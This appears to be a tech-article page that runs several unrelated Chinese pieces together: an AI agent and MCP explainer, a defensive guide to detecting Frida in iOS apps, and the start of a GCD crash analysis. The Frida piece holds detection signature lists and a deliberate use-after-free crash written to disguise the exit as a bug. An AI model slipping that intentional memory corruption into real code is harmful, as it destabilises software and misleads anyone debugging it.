获取实时信息 ❌ 依赖训练数据 ✅ 调用搜索引擎/数据库
执行精准计算 ❌ 常出错(如复杂数学) ✅ 调用计算器/Python
操作外部系统 ❌ 无法执行 ✅ 发送邮件/控制智能家居
返回结构化数据 ❌ 文本难解析 ✅ 输出标准JSON

Agent

OpenAI 发布 Function Call 模型后,Agent 才开始发展。而 Agent 真正进入到公众视野,被大家广泛关注的事件是 2025年4月 Manus 发布了通用智能体产品,引入了Computer Use 和 Browser Use,首次展现出智能体的强大能力。

Agent 的工作流程

实际上上文提到的 Function Call 模型的工作流程图,已经算是一个 Agent 的雏形了,不同点是,Agent 完成一次任务,实际上会循环调用模型,可能会调用多次 Function Calling,每次需要调用什么工具,完全由模型决策。一个最简单的 Agent 调用流程图如下:

Image 4

比如有一个出行规划的智能体,这个智能体配置有天气查询、驾车规划、公共交通规划、骑行规划、步行规划等工具。用户询问“我在深圳,5月1日想去自驾去北京旅行,帮我规划一下出行方案。”,一个可能的具体的执行流程如下:

Image 5

怎么开发一个自己的 Agent

最简单的方法就是把 Agent 的提示词(prompt)、工具、llm 调用,工具执行都硬编码到代码中,这样确实可以快速开发一个特定功能的 Agent。这样的实现会带来一些问题:

  1. 提示词(prompt),工具需要调整的时候,需要改配置或者代码,灵活度不够高;
  2. 如果要开发一个新功能的 Agent,整体代码可能需要重新实现一遍。

为了解决这一系列的问题,cozedify腾讯云智能体开发平台等智能体开发平台相继出现。借助这些平台,开发者甚至不需要会编程,不需要 服务器 资源,就可以开发一个自己的Agent,Agent 的整个执行流程完全由平台在云上执行。智能体开发平台的架构一般包含 插件配置、Agent 配置、Agent 执行模块、插件执行模块,发布模块。

Image 6

  • 插件配置:所有 Agent 的工具都统一管理起来,而不是散落在各个 Agent 内部,这样可以做到工具的复用。一般平台会自带一些插件,比如网络搜索、文件上传、AIGC 工具等,同时也支持开发者添加自己的自定义插件。
  • Agent 配置:配置 Agent 的 提示词 (prompt),使用的模型,以及选择插件配置中的一批工具提供给模型做选择。
  • 发布配置:开发者把自己的 Agent 开发调试稳定以后,发布成稳定版本就可以提供给用户使用了。
  • 插件执行:执行某个特定的插件,返回结果。
  • Agent 执行:实现通用的 Agent 执行流程,调用插件执行模块实现工具调用。

下图是用腾讯云智能体开发平台,开发一个简单的 Agent 配置和实际执行效果图。

Image 7

Multi-Agent

除了使用智能体开发平台快速开发自己的 Agent 以外,还可以使用 sdk 的方式进行开发。2025 年 3 月 11 日,OpenAI 重磅发布 OpenAI Agent SDK!AI 开发范式彻底颠覆!使用 sdk 可以快速配置一个自定义的 Agent 后执行,相比智能体开发平台,sdk 具有更高的灵活性和自主可控性。

同时,在 OpenAI Agent SDK 中,首次引入了 Mulit Agent 的概念。在此之前,通过智能体开发平台,我们开发出来的 Agent 都只是单 Agent。一个单 Agent 的能力有限,只能解决特定领域的一个任务,而一个复杂任务往往需要执行多个领域的任务才能完成。而 OpenAI Agent SDK 可以让开发者定义多个领域的 Agent,并且给这些 Agent 配置一些转交关系,允许某个 Agent 把特定的任务交给另外一个合适领域的 Agent 来执行,多个 Agent 之间协同和互动来完成一个复杂任务。

在 OpenAI Agent SDK 发布以后,以腾讯云智能体开发平台为代表的相关产品都相继支持了 Multi-Agent 模式。

Agent 的发展

Agent 目前的发展还处于一个较初期的阶段,但是发展速度很快。在一些垂直领域比如代码生成 Cursor / 腾讯云 AI 代码助手 CodeBuddy、广告营销等方向已经有了比较好的落地。而更通用的 Agent 目前除了看到 Manus 落地以外,还没看到其他比较好的应用模式落地。相信随着时间发展,会有越来越好用,越来越通用的 Agent 应用诞生。

MCP


什么是 MCP

MCP(Model Context Protocol,模型上下文协议)是由人工智能公司Anthropic2024 年 11 月 24 日正式发布并开源的协议标准。Anthropic 公司是由前 OpenAI 核心人员成立的人工智能公司,其发布的 Claude 系列模型是为数较少的可以和 GPT 系列抗衡的模型。

为什么需要 MCP

MCP 协议旨在解决大型语言模型(LLM)与外部数据源、工具间的集成难题,被比喻为“AI应用的USB-C接口“。通过标准化通信协议,将传统的“M×N集成问题”(即多个模型与多个数据源的点对点连接)转化为“M+N模式”,大幅降低开发成本。

Image 8

在 MCP 协议没有推出之前:

  1. 智能体开发平台需要单独的插件配置和插件执行模型,以屏蔽不通工具之间的协议差异,提供统一的接口给 Agent 使用;
  2. 开发者如果要增加自定义的工具,需要按照平台规定的 http 协议实现工具。并且不同的平台之间的协议可能不同;
  3. “M×N 问题”:每新增一个工具或模型,需重新开发全套接口,导致开发成本激增、系统脆弱;
  4. 功能割裂:AI 模型无法跨工具协作(如同时操作 Excel 和 数据库),用户需手动切换平台。

没有标准,整个行业生态很难有大的发展,所以 MCP 作为一种标准的出现,是 AI 发展的必然需求。

总结:MCP 如何重塑 AI 范式:

维度 传统模式 MCP 模式 变革价值
集成成本 每对接新工具需定制开发 一次开发,全网复用 开发效率提升 10 倍
功能范围 单一工具调用 多工具协同执行复杂任务链 AI 从“助手”升级为“执行者”
生态开放性 封闭式 API,厂商锁定 开源协议,社区共建工具库 催生“AI 应用商店”模式
安全可控性 API 密钥暴露风险 数据不离域,权限分级管控 满足企业级合规需求

MCP 的发展情况

MCP 自2024 年 11 月 24 日 发布以来,OpenAI、Google、微软、腾讯、阿里、百度等头部企业纷纷接入 MCP,推动其成为事实性行业标准。并且相继出现了 mcp.so 、mcpmarket 等超大体量的 MCP 服务提供商。国内的头部企业也相继加入 MCP 服务商的竞争中。在如此庞大的 MCP 市场下,开发者基本不需要开发自己的插件,直接使用 MCP 服务商的插件就可以直接开发大量 Agent。

同时很多头部企业,开始把自身原有的 API 业务开发成封装成 MCP 服务对外提供。比如:

  1. GitHub Copilot 提供 MCP 的方式生成代码;
  2. AWS 2025 年 6月推出开源工具 Amazon Serverless MCP Server,支持 Agent 直接操作云上资源,进行服务编排。
  3. 腾讯地图、高德地图、百度地图均发布 MCP Server,支持在 Agent 中使用丰富的地图资源。
  4. 腾讯云COS、百度网盘均已支持 MCP 协议的接入。

未来趋势:

  • 与 AIOS 融合: MCP 正成为 AI 操作系统(如华为鸿蒙 HMAF)的核心组件,实现跨设备智能调度;
  • 生态挑战: 大厂通过 MCP 构建“闭环生态”(如 阿里 集成高德地图),可能引发协议割裂,需推动跨平台协作标准。

MCP 不仅是技术协议,更是AI 生产力革命的基石——它让模型真正融入现实世界,成为人类工作的无缝延伸。

总结

整体上看,Agent 是在 AIGC、MCP 、大语言模型 LLM 等原子能力的基础上进行编排,以提供更复杂的 AI 应用。

iOS安全开发中的Frida检测

作者:luoyanbei@360src

随着移动应用安全机制的不断加强,以 Frida 为代表的动态插桩工具,已成为移动端逆向分析的主流手段。相比反汇编、class-dump 等静态分析方式,Frida 几乎可以在不修改 App 本体的情况下,实时注入代码、Hook 任意函数、篡改参数与返回值,甚至直接操控业务逻辑执行流程。

在越狱的iOS设备上,Frida 可以通过 frida-server 以最高权限运行;在非越狱设备上,也可以通过 Frida Gadget、调试注入、重签名等方式完成动态分析。

在实际攻击场景中,Frida 已被广泛用于: •绕过登录、风控、反作弊等安全校验 •Hook 网络层以抓取或篡改敏感接口数据 •直接调用内部私有方法,伪造正常业务流程 •分析加密算法、关键参数生成逻辑 •对安全检测逻辑本身进行反制与绕过

在 iOS App 中系统性地识别 Frida 的运行痕迹、注入特征和行为特征,并构建多层次的防御与对抗策略,已经成为移动端安全中不可回避的一环。本文将结合实际逆向与对抗经验,从安全开发的角度讲解frida检测相关特征。

1、检测frida默认端口号

如果设备上运行了 frida-server,并且使用默认端口号27042,App 尝试连接 127.0.0.1:27042,连接成功 说明当前环境下存在Frida使用27042端口。 具体检测端口代码:

#import <sys/socket.h>
#import <arpa/inet.h>
#import <fcntl.h>
#import <unistd.h>
#import <errno.h>

BOOL isFridaPortReallyOpen(void) {
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) return NO;

    // 非阻塞
    fcntl(sockfd, F_SETFL, O_NONBLOCK);

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(27042);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    int ret = connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));
    if (ret < 0 && errno != EINPROGRESS) {
        close(sockfd);
        return NO;
    }

    fd_set wfds;
    FD_ZERO(&wfds);
    FD_SET(sockfd, &wfds);

    struct timeval tv;
    tv.tv_sec = 0;
    tv.tv_usec = 300 * 1000; // 300ms

    ret = select(sockfd + 1, NULL, &wfds, NULL, &tv);
    if (ret <= 0) {
        close(sockfd);
        return NO;
    }

    // 关键:检查 SO_ERROR
    int so_error = 0;
    socklen_t len = sizeof(so_error);
    getsockopt(sockfd, SOL_SOCKET, SO_ERROR, &so_error, &len);

    close(sockfd);

    return so_error == 0;
}

调用方式

if (isFridaPortReallyOpen()) {
    NSLog(@"Frida 默认端口可访问");
    // 触发风控 / 上报 
}

基于 Frida 默认端口号(27042)的检测并非绝对可靠。一方面,理论上该端口可能被其他进程占用,从而在极少数情况下产生误报;另一方面,Frida 本身支持通过参数或二次编译的方式修改默认监听端口,一旦攻击者对 Frida Server 进行了“魔改”或端口重定向,该检测方式就可能被直接绕过。

因此,端口号检测更适合作为低成本、快速命中的辅助判断条件,而不应作为唯一的判定依据。将其与虚拟内存特征检测等更底层、更难完全抹除的手段进行组合使用,才能在实际对抗中获得更稳定、可信的检测效果。

2、检测app虚拟内存特征

当 Frida 附加到 iOS App 时,Frida 的代码、数据、JS runtime、字符串全部被加载到“目标 App 进程的虚拟内存空间”中。 Frida 的 JavaScript Runtime 会把“脚本字符串”放入内存,例如: require("frida-objc-bridge") frida/runtime/core.js Frida._loadObjC();

这些字符串来源于: •内置 JS 脚本(core.js) •bridge 初始化代码 •RPC 协议字符串(frida:rpc)

JS 引擎必须把字符串展开为明文才能执行,所以这些字符串一定存在于堆或只读区。

(1) Frida attach 的真实技术路径

以最典型的 frida-server attach为例:

  1. frida-server(系统进程):
    • 通过task_for_pid() 拿到目标 App 的 task port
  2. 在目标 App 中:
    • 创建远程线程(thread_create_running
    • 调用dlopen() / Mach-O loader
  3. Frida Agent 被加载:
    • 成为目标 App 的一个 dylib
    • 由 dyld 映射进App 的 VM

(2)app被frida附加后的特征关键词

序号 关键词 用途
1 frida_gadget 这是 Frida 在 native 层的“模块身份标识”
2 /frida-core/lib/gadget/gadget.vala 错误定位,日志,断言信息
3 frida/runtime/core.js 定义:Module / Memory / Interceptor、RPC、调度器
4 frida_agent_main Agent 的 native 入口,相当于 main() / init
5 frida_dylib_range= 这是 Frida 内部“自我感知内存边界”的关键字符串
6 /frida-core/lib/agent/agent.vala 错误定位,日志,断言信息
7 frida:rpc Agent <->Client 的通信协议前缀,JS / Native 双向调用标识
8 Frida._loadObjC(); 注册 ObjC / Java runtime,安装 hook handler
9 require("frida-objc-bridge"); Java / ObjC 方法解析,class 枚举,selector hook
10 /frida-core/lib/payload/spawn-monitor.vala 错误定位,日志,断言信息
11 FridaAgentRunner 负责启动 JS runtime,管理 lifecycle
12 FridaSpawnHandler 处理 spawn / attach 事件,与 server 协同
13 FridaPortalClient Agent RPC / IPC 客户端,与 frida-server 通信
14 FridaAgentController Agent 总控,管理模块、脚本、session
15 frida.Error. JS Error 类型,Native → JS 异常封装

(3)内存检测frida特征

检测函数 checkAppMemoryForFrida 的工作流程:

  1. 初始化
  • 获取当前进程 task,自地址 0 开始遍历虚拟内存区域。
  • 调用 init_self_image_range 记录自身镜像范围,后续跳过本进程主二进制区域。
  1. 遍历内存区域
  • 使用 vm_region_64 逐段获取区域起始地址、大小和保护属性。
  • 如果区域属于自身镜像则跳过;非 VM_PROT_READ 区域也跳过。
  1. 读取并扫描
  • 为区域大小分配缓冲区,vm_read_overwrite 读取该区域内容。
  • 遍历明文特征数组 kFridaPlainList(包含 Frida 相关字符串,如 frida_gadgetfrida/runtime/core.jsFridaAgentRunner 等),对每个特征调用 memory_contains 在该缓冲区内查找。
  1. 命中处理与日志
  • 如命中,hitCount++,并使用 dladdr 获取当前区域地址对应的模块路径,提取文件名,记录日志:
    • 内存检测到的特征
    • 地址(十六进制)
    • 模块名
    • hitCount
  1. 后续与回调
  • 释放缓冲区,继续下一个区域;若 vm_region_64 失败则结束循环。
  • 扫描结束:若 hitCount > 0 且传入了 onDetected,则执行回调;最后返回 hitCount
#include <string.h>
#include <stdio.h>
#include <mach/mach.h>
#include <mach-o/dyld.h>
#include <dlfcn.h>
#include <mach-o/dyld.h>
#include <mach-o/loader.h>
#include <sys/sysctl.h>
#include <unistd.h>
#include <stdbool.h>

static void *self_image_start = NULL;
static void *self_image_end   = NULL;

// 根据内存地址查找所属的模块名称(使用 dladdr)
static const char *find_module_for_address(vm_address_t addr) {
    Dl_info info;
    if (dladdr((void *)addr, &info)) {
        if (info.dli_fname) {
            return info.dli_fname;
        }
    }
    return "unknown";
}

// 日志文件相关
static NSString *ProtecToolLogFilePath(void) {
    static NSString *logPath = nil;
    static dispatch_once_t onceToken;
    dispatch_once(&onceToken, ^{
        NSArray<NSString *> *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
        NSString *docDir = paths.firstObject ?: NSTemporaryDirectory();
        logPath = [docDir stringByAppendingPathComponent:@"protec_log.txt"];
    });
    return logPath;
}

static void ProtecToolWriteLog(NSString *message) {
    if (message.length == 0) return;
    NSString *line = [message stringByAppendingString:@"\n"];
    NSData *data = [line dataUsingEncoding:NSUTF8StringEncoding];
    if (!data) return;

    NSString *path = ProtecToolLogFilePath();
    NSFileManager *fm = [NSFileManager defaultManager];
    if (![fm fileExistsAtPath:path]) {
        [data writeToFile:path atomically:YES];
    } else {
        NSFileHandle *fh = [NSFileHandle fileHandleForWritingAtPath:path];
        if (!fh) return;
        @try {
            [fh seekToEndOfFile];
            [fh writeData:data];
        } @catch (__unused NSException *e) {
        } @finally {
            [fh closeFile];
        }
    }
}

void ProtecToolClearLogFile(void) {
    NSString *path = ProtecToolLogFilePath();
    if (!path) return;
    NSFileManager *fm = [NSFileManager defaultManager];
    if ([fm fileExistsAtPath:path]) {
        [fm removeItemAtPath:path error:nil];
    }
}

NSString *ProtecToolReadLog(void) {
    NSString *path = ProtecToolLogFilePath();
    if (!path) return @"";
    NSError *error = nil;
    NSString *content = [NSString stringWithContentsOfFile:path encoding:NSUTF8StringEncoding error:&error];
    if (!content || error) {
        return @"";
    }
    return content;
}

#define PTLog(fmt, ...) do { \
    NSString *msg__ = [NSString stringWithFormat:(fmt), ##__VA_ARGS__]; \
    NSLog(@"%@", msg__); \
    ProtecToolWriteLog(msg__); \
} while(0)


static void init_self_image_range(void) {
    if (self_image_start) return;

    Dl_info info;
    if (!dladdr((void *)&init_self_image_range, &info))
        return;

    self_image_start = info.dli_fbase;

    for (uint32_t i = 0; i < _dyld_image_count(); i++) {
        if (_dyld_get_image_header(i) == info.dli_fbase) {
            const struct mach_header_64 *mh =
                (const struct mach_header_64 *)_dyld_get_image_header(i);
            intptr_t slide = _dyld_get_image_vmaddr_slide(i);

            uintptr_t maxEnd = 0;
            const struct load_command *cmd =
                (const struct load_command *)((uintptr_t)mh + sizeof(*mh));

            for (uint32_t j = 0; j < mh->ncmds; j++) {
                if (cmd->cmd == LC_SEGMENT_64) {
                    const struct segment_command_64 *seg =
                        (const struct segment_command_64 *)cmd;
                    uintptr_t end = seg->vmaddr + seg->vmsize;
                    if (end > maxEnd)
                        maxEnd = end;
                }
                cmd = (const struct load_command *)((uintptr_t)cmd + cmd->cmdsize);
            }

            self_image_end = (void *)(maxEnd + slide);
            break;
        }
    }
}

static const char *kFridaPlainList[] = {
    "frida_gadget",
    "/frida-core/lib/gadget/gadget.vala",
    "frida/runtime/core.js",
    "frida_agent_main",
    "frida_dylib_range=",
    "/frida-core/lib/agent/agent.vala",
    "frida:rpc",
    "Frida._loadObjC();",
    "require(\"frida-objc-bridge\");",
    "/frida-core/lib/payload/spawn-monitor.vala",
    "FridaAgentRunner",
    "FridaSpawnHandler",
    "FridaPortalClient",
    "FridaAgentController",
    "frida.Error."
};



// 内存扫描工具函数
static int memory_contains(const void *haystack, size_t haystack_len,
                           const void *needle, size_t needle_len) {
    if (needle_len == 0 || haystack_len < needle_len) return 0;

    const unsigned char *h = haystack;
    const unsigned char *n = needle;

    for (size_t i = 0; i <= haystack_len - needle_len; i++) {
        if (memcmp(h + i, n, needle_len) == 0)
            return 1;
    }
    return 0;
}

/*
 获取当前进程 task,初始化从地址 0 开始。
 用 vm_region_64 逐段枚举虚拟内存区域;失败即结束循环。
 只处理具有 VM_PROT_READ 权限的区域。
 为区域大小分配缓冲区,用 vm_read_overwrite 把该区域数据读入。
 逐个匹配 kFridaPlainList 中的明文关键字;命中则累加 hitCount。
 完成后继续下一个区域;循环结束时,如果命中且传入了 onDetected 回调,就执行它。
 返回总命中次数。
 */
int checkAppMemoryForFrida(void (*onDetected)(void)) {
    task_t task = mach_task_self();
    vm_address_t addr = 0;
    vm_size_t size = 0;

    int hitCount = 0;

    init_self_image_range();
    PTLog(@"内存检测--SELF IMAGE RANGE: %p - %p", self_image_start, self_image_end);
    while (1) {
        vm_region_basic_info_data_64_t info;
        mach_msg_type_number_t count = VM_REGION_BASIC_INFO_COUNT_64;
        mach_port_t object;

        kern_return_t kr = vm_region_64(
            task,
            &addr,
            &size,
            VM_REGION_BASIC_INFO_64,
            (vm_region_info_t)&info,
            &count,
            &object
        );

        if (kr != KERN_SUCCESS)
            break;
        

        if ((void *)addr >= self_image_start &&
            (void *)addr <  self_image_end) {
            addr += size;
            PTLog(@"内存检测--跳过app自身");
            continue;
        }

        // 只扫描可读内存
        if (info.protection & VM_PROT_READ) {
            void *buffer = malloc(size);
            if (buffer) {
                vm_size_t outSize = 0;
                if (vm_read_overwrite(task, addr, size,
                                      (vm_address_t)buffer,
                                      &outSize) == KERN_SUCCESS) {

                    for (size_t i = 0;
                         i < sizeof(kFridaPlainList)/sizeof(kFridaPlainList[0]);
                         i++) {

                        const char *needle = kFridaPlainList[i];
                        size_t needleLen = strlen(needle);
                        if (needleLen == 0) continue;

                        if (memory_contains(buffer, outSize,
                                            needle, needleLen)) {
                            hitCount++;
                            // 查找该内存地址所属的模块
                            const char *moduleName = find_module_for_address(addr);
                            // 提取模块名称(只显示文件名,不显示完整路径)
                            const char *moduleFileName = strrchr(moduleName, '/');
                            if (moduleFileName) {
                                moduleFileName++; // 跳过 '/'
                            } else {
                                moduleFileName = moduleName;
                            }
                            PTLog(@"内存检测--发现(%s), 地址:0x%llx, 模块:%s, hitCount=%d",
                                  needle, (unsigned long long)addr, moduleFileName, hitCount);
                        }
                    }
                }
                
                free(buffer);
            }
        }
        addr += size;
    }

    if (hitCount > 0 && onDetected) {
        PTLog(@"内存检测--执行--onDetected");
        onDetected();
    }
    PTLog(@"内存检测--返回--%d", hitCount);

    return hitCount;
}

当app被frida附加,检测frida特征输出信息:

内存检测--发现(FridaAgentRunner), 地址:0x100c1c000, 模块:unknown, hitCount=1
内存检测--发现(FridaSpawnHandler), 地址:0x100c1c000, 模块:unknown, hitCount=2
内存检测--发现(FridaPortalClient), 地址:0x100c1c000, 模块:unknown, hitCount=3
内存检测--发现(FridaAgentController), 地址:0x100c1c000, 模块:unknown, hitCount=4
内存检测--发现(frida.Error.), 地址:0x100c1c000, 模块:unknown, hitCount=5
内存检测--发现(frida.Error.), 地址:0x100c3c000, 模块:unknown, hitCount=6
内存检测--发现(frida_agent_main), 地址:0x10156c000, 模块:unknown, hitCount=7
内存检测--发现(frida_dylib_range=), 地址:0x10157c000, 模块:unknown, hitCount=8
内存检测--发现(require("frida-java-bridge")), 地址:0x101580000, 模块:unknown, hitCount=9
内存检测--发现(frida/runtime/core.js), 地址:0x101580000, 模块:unknown, hitCount=10
内存检测--发现(frida_dylib_range=), 地址:0x101580000, 模块:unknown, hitCount=11
内存检测--发现(/frida-core/lib/agent/agent.vala), 地址:0x101580000, 模块:unknown, hitCount=12
内存检测--发现(require("frida-objc-bridge");), 地址:0x101580000, 模块:unknown, hitCount=13内存检测--发现(FridaAgentRunner), 地址:0x101580000, 模块:unknown, hitCount=14
内存检测--发现(FridaSpawnHandler), 地址:0x101580000, 模块:unknown, hitCount=15
内存检测--发现(FridaPortalClient), 地址:0x101580000, 模块:unknown, hitCount=16
内存检测--发现(FridaAgentController), 地址:0x101580000, 模块:unknown, hitCount=17
内存检测--发现(frida.Error.), 地址:0x101580000, 模块:unknown, hitCount=18
内存检测--发现(frida_agent_main), 地址:0x102804000, 模块:unknown, hitCount=19

3、安全退出App并防止追踪

当检测到frida特征后,执行退出逻辑,并防止检测代码位置暴露,更好的保护检测逻辑,防止绕过。我们的退出代码需要切断「检测 → 退出」之间的可还原因果关系,让逆向者无法通过崩溃、堆栈、日志反推出检测代码。下面的代码可以很好的实现我们的需求。

void trigger_crash_async(void) {
    void *p = malloc(16);
    free(p);

    dispatch_async(dispatch_get_main_queue(), ^{
        CFRunLoopPerformBlock(CFRunLoopGetMain(),
                              kCFRunLoopCommonModes, ^{
            volatile char *q = (char *)p;
            q[0] = 0x42;
        });
    });
}

通过 Use-after-free + 异步调度 + RunLoop 执行,在时间、线程、调用栈和语义四个层面切断了“决策 → 崩溃”的因果关系,使崩溃在日志和运行期分析中高度拟态为真实工程 Bug,从而显著提高反追踪与反定位成本。 调用堆栈无法直接找到检测代码和崩溃位置:

Termination Signal: Bus error: 10
Termination Reason: Namespace SIGNAL, Code 0xa
Terminating Process: exc handler [9303]
Triggered by Thread:  0

Thread 0 name:  Dispatch queue: com.apple.main-thread
Thread 0 Crashed:
0   libobjc.A.dylib                     0x00000001a82c4c98 objc_retain + 8
1   CoreFoundation                      0x0000000194abbf14 __NSSingleObjectArrayI_new + 84
2   CoreFoundation                      0x000000019496b334 -[NSArray initWithArray:range:copyItems:] + 412
3   UIKitCore                           0x00000001972cf714 _runAfterCACommitDeferredBlocks + 160
4   UIKitCore                           0x00000001972beb4c _cleanUpAfterCAFlushAndRunDeferredBlocks + 200
5   UIKitCore                           0x00000001972f0260 _afterCACommitHandler + 76
6   CoreFoundation                      0x00000001949ffecc __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ + 32
7   CoreFoundation                      0x00000001949fa5b0 __CFRunLoopDoObservers + 604
8   CoreFoundation                      0x00000001949faaf8 __CFRunLoopRun + 960
9   CoreFoundation                      0x00000001949fa200 CFRunLoopRunSpecific + 572
10  GraphicsServices                    0x00000001aaaf5598 GSEventRunModal + 160
11  UIKitCore                           0x00000001972c0004 -[UIApplication _run] + 1052
12  UIKitCore                           0x00000001972c55d8 UIApplicationMain + 164
13  TestSpace                           0x00000001046deb6c main + 184
14  libdyld.dylib                       0x00000001946d9598 start + 4

总结

任何单一检测手段都不可能对 Frida 实现“绝对防御”。在真实对抗场景中,Frida 的行为和特征本身也可以被刻意隐藏或篡改。因此,更合理的策略是将端口检测与内存特征检测进行组合使用,并配合多时机、多路径的触发机制,从而显著提高攻击成本和逆向复杂度。

Frida 防御的核心目标,是在可控的性能与稳定性成本下,尽早发现异常环境、干扰分析过程、并保护关键业务逻辑不被轻易理解和复现。希望本文的思路与实现方式,能为 iOS 开发与安全人员在实际项目中构建 Frida 对抗能力提供有价值的参考。

iOS疑难Crash-_dispatch_barrier_waiter_redirect_or_wake 崩溃治理

一. 背景

我们司机端App一直存在着_dispatch_barrier_waiter_redirect_or_wake相关的崩溃。

该崩溃具体崩溃堆栈如下:

// remark

Exception Type:  EXC_BREAKPOINT (SIGTRAP)
Exception Codes: KERN_INVALID_ADDRESS at 0x00000001b0604ae0
Crashed Thread:  34


// 崩溃线程
Thread 34 Crashed:
0      libdispatch.dylib                     __dispatch_barrier_waiter_redirect_or_wake + 256
1      libdispatch.dylib                     __dispatch_lane_invoke + 764
2      libdispatch.dylib                     __dispatch_workloop_worker_thread + 648
3      libsystem_pthread.dylib               __pthread_wqthread + 288


==========

而且该崩溃集中在14.0~16.2之间的系统。

二. 原因排查

因为崩溃类型是EXC_BREAKPOINT (SIGTRAP)类型, 并且发生在 libdispatch.dylib(即 GCD,Grand Central Dispatch)内部函数中。

也就是说这是GCD内部检测到严重错误时主动产生的崩溃。

SIGTRAP崩溃类型主要是由于系统或运行时(Runtime)为了阻止程序在一种不安全的错误状态下继续执行而主动触发的“陷阱”,目的是为了方便开发者调试,常见原因:

  1. Swift 运行时安全机制触发(最常见):

    1. 强制解包 nil 可选值(! 操作符):如 var value = nilOptional!
    2. 强制类型转换失败(as! 操作符):尝试将对象转换为不兼容类型。
    3. Swift 检测到数组越界、整数溢出等内存安全问题时会主动触发 EXC_BREAKPOINT/SIGTRAP
  2. 底层库的不可恢复错误:

  • GCDlibdispatch)等系统库在检测到内部状态异常(如队列死锁、资源竞争)时可能触发 SIGTRAP,比如dispatch_group_tenter/leave不匹配。

因为崩溃堆栈崩溃在__dispatch_barrier_waiter_redirect_or_wake + 256

0      libdispatch.dylib                     __dispatch_barrier_waiter_redirect_or_wake + 256
1      libdispatch.dylib                     __dispatch_lane_invoke + 764
2      libdispatch.dylib                     __dispatch_workloop_worker_thread + 648
3      libsystem_pthread.dylib               __pthread_wqthread + 288

因此我们找一台iOS14-iOS16系统的真机,然后运行在release环境,查看下256指令对应的代码。

libdispatch.dylib`_dispatch_barrier_waiter_redirect_or_wake:
->  0x10c4f49f0 <+0>:   pacibsp 
    0x10c4f49f4 <+4>:   stp    x24, x23, [sp, #-0x40]!
    0x10c4f49f8 <+8>:   stp    x22, x21, [sp, #0x10]
    0x10c4f49fc <+12>:  stp    x20, x19, [sp, #0x20]
    0x10c4f4a00 <+16>:  stp    x29, x30, [sp, #0x30]
    0x10c4f4a04 <+20>:  add    x29, sp, #0x30
    0x10c4f4a08 <+24>:  mov    x22, x4
    0x10c4f4a0c <+28>:  mov    x20, x3
    0x10c4f4a10 <+32>:  mov    x19, x1
    0x10c4f4a14 <+36>:  mov    x21, x0
    0x10c4f4a18 <+40>:  ldr    x8, [x1, #0x30]
    0x10c4f4a1c <+44>:  cmn    x8, #0x4
    0x10c4f4a20 <+48>:  b.ne   0x10c4f4a38               ; <+72>
    0x10c4f4a24 <+52>:  ldrb   w9, [x19, #0x69]
    0x10c4f4a28 <+56>:  ubfx   x8, x20, #32, #3
    0x10c4f4a2c <+60>:  cmp    w8, w9
    0x10c4f4a30 <+64>:  b.ls   0x10c4f4a38               ; <+72>
    0x10c4f4a34 <+68>:  strb   w8, [x19, #0x69]
    0x10c4f4a38 <+72>:  tbnz   x20, #0x25, 0x10c4f4a78   ; <+136>
    0x10c4f4a3c <+76>:  mvn    x8, x20
    0x10c4f4a40 <+80>:  tst    x8, #0x1800000000
    0x10c4f4a44 <+84>:  b.ne   0x10c4f4a6c               ; <+124>
    0x10c4f4a48 <+88>:  ubfx   x9, x20, #32, #3
    0x10c4f4a4c <+92>:  mrs    x8, TPIDRRO_EL0
    0x10c4f4a50 <+96>:  ldr    w10, [x8, #0xc8]
    0x10c4f4a54 <+100>: ubfx   w11, w10, #16, #4
    0x10c4f4a58 <+104>: cmp    w11, w9
    0x10c4f4a5c <+108>: b.hs   0x10c4f4a6c               ; <+124>
    0x10c4f4a60 <+112>: and    w10, w10, #0xfff0ffff
    0x10c4f4a64 <+116>: bfi    w10, w9, #16, #3
    0x10c4f4a68 <+120>: str    x10, [x8, #0xc8]
    0x10c4f4a6c <+124>: mov    x23, #-0x4                ; =-4 
    0x10c4f4a70 <+128>: tbnz   w2, #0x0, 0x10c4f4ad8     ; <+232>
    0x10c4f4a74 <+132>: b      0x10c4f4b68               ; <+376>
    0x10c4f4a78 <+136>: tbnz   w2, #0x0, 0x10c4f4ad0     ; <+224>
    0x10c4f4a7c <+140>: tbz    w20, #0x0, 0x10c4f4b64    ; <+372>
    0x10c4f4a80 <+144>: mov    x23, x21
    0x10c4f4a84 <+148>: tbnz   w22, #0x0, 0x10c4f4b68    ; <+376>
    0x10c4f4a88 <+152>: ldr    w8, [x21, #0x8]
    0x10c4f4a8c <+156>: mov    w9, #0x7fffffff           ; =2147483647 
    0x10c4f4a90 <+160>: cmp    w8, w9
    0x10c4f4a94 <+164>: b.eq   0x10c4f4b64               ; <+372>
    0x10c4f4a98 <+168>: add    x8, x21, #0x8
    0x10c4f4a9c <+172>: mov    w9, #-0x1                 ; =-1 
    0x10c4f4aa0 <+176>: ldaddl w9, w8, [x8]
    0x10c4f4aa4 <+180>: mov    x23, x21
    0x10c4f4aa8 <+184>: cmp    w8, #0x0
    0x10c4f4aac <+188>: b.gt   0x10c4f4b68               ; <+376>
    0x10c4f4ab0 <+192>: stp    x20, x21, [sp, #-0x10]!
    0x10c4f4ab4 <+196>: adrp   x20, 47
    0x10c4f4ab8 <+200>: add    x20, x20, #0x95e          ; "API MISUSE: Over-release of an object"
    0x10c4f4abc <+204>: adrp   x21, 81
    0x10c4f4ac0 <+208>: add    x21, x21, #0x260          ; gCRAnnotations
    0x10c4f4ac4 <+212>: str    x20, [x21, #0x8]
    0x10c4f4ac8 <+216>: ldp    x20, x21, [sp], #0x10
    0x10c4f4acc <+220>: brk    #0x1
    0x10c4f4ad0 <+224>: mov    x23, x21
    0x10c4f4ad4 <+228>: tbnz   w22, #0x0, 0x10c4f4b1c    ; <+300>
    0x10c4f4ad8 <+232>: ldr    w8, [x21, #0x8]
    0x10c4f4adc <+236>: mov    w9, #0x7fffffff           ; =2147483647 
    0x10c4f4ae0 <+240>: cmp    w8, w9
    0x10c4f4ae4 <+244>: b.eq   0x10c4f4b68               ; <+376>
    0x10c4f4ae8 <+248>: add    x8, x21, #0x8
    0x10c4f4aec <+252>: mov    w9, #-0x2                 ; =-2 
    0x10c4f4af0 <+256>: ldaddl w9, w8, [x8]
